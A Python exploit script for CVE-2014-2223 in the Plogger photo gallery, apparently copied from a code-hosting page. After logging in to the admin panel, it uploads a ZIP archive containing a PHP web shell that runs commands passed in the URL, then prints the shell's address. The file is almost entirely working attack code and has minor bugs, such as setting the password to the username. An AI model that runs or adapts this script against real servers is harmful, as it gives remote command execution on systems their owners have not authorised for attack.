81 lines
No EOL
2.1 KiB
Python
Executable file
81 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
|
|
# Exploit Title: Plogger Authenticated Arbitrary File Upload
|
|
# Date: Feb 2014
|
|
# Exploit Author: b0z
|
|
# Vendor Homepage: www.plogger.org
|
|
# Software Link: www.plogger.org/download
|
|
# Version: Plogger prior to 1.0-RC1
|
|
# CVE : 2014-2223
|
|
|
|
import hashlib
|
|
import os
|
|
import zipfile
|
|
|
|
import requests
|
|
import time
|
|
import argparse
|
|
|
|
|
|
|
|
def login(session,host,username,password):
|
|
print "[+] Log in"
|
|
|
|
session.post('http://%s/plog-admin/plog-upload.php' % host, data={
|
|
"plog_username": username,
|
|
"plog_password": password,
|
|
"action": "log_in"
|
|
})
|
|
|
|
def upload(session):
|
|
print "[+] Creating poisoned gift"
|
|
## Write the backdoor
|
|
backdoor = open(magic + '.php', 'w+', buffering = 0)
|
|
backdoor.write("<?php system($_GET['cmd']) ?>")
|
|
backdoor.close
|
|
|
|
# Add true image file to block the race condition (mandatory not null)
|
|
image = open(magic + '.png', 'w+', buffering = 0)
|
|
image.write('A')
|
|
image.close
|
|
|
|
gift = zipfile.ZipFile(magic + '.zip', mode = 'w')
|
|
gift.write(magic + '.php')
|
|
gift.write(magic + '.png')
|
|
gift.close
|
|
|
|
os.remove(magic + '.php')
|
|
os.remove(magic + '.png')
|
|
|
|
gift = open(magic + '.zip', 'rb')
|
|
files= { "userfile": ("archive.zip", gift)}
|
|
session.post('http://%s/plog-admin/plog-upload.php' % host, files=files,
|
|
data = {
|
|
"destination_radio":"existing",
|
|
"albums_menu" : "1",
|
|
"new_album_name":"",
|
|
"collections_menu":"1",
|
|
"upload":"Upload"
|
|
})
|
|
|
|
os.remove(magic + '.zip')
|
|
print '[+] Here we go ==> http://%s/plog-content/uploads/archive/%s.php' % (host,magic)
|
|
|
|
if __name__== "__main__":
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("--host" , help="Remote host",required=True)
|
|
parser.add_argument("--user" , help="Username",required=True)
|
|
parser.add_argument("--password" , help="Password",required=True)
|
|
args = parser.parse_args()
|
|
|
|
host = args.host
|
|
username = args.user
|
|
password = args.user
|
|
|
|
magic = hashlib.sha1(time.asctime()).hexdigest()
|
|
|
|
session = requests.session()
|
|
login(session,host,username,password)
|
|
upload(session) |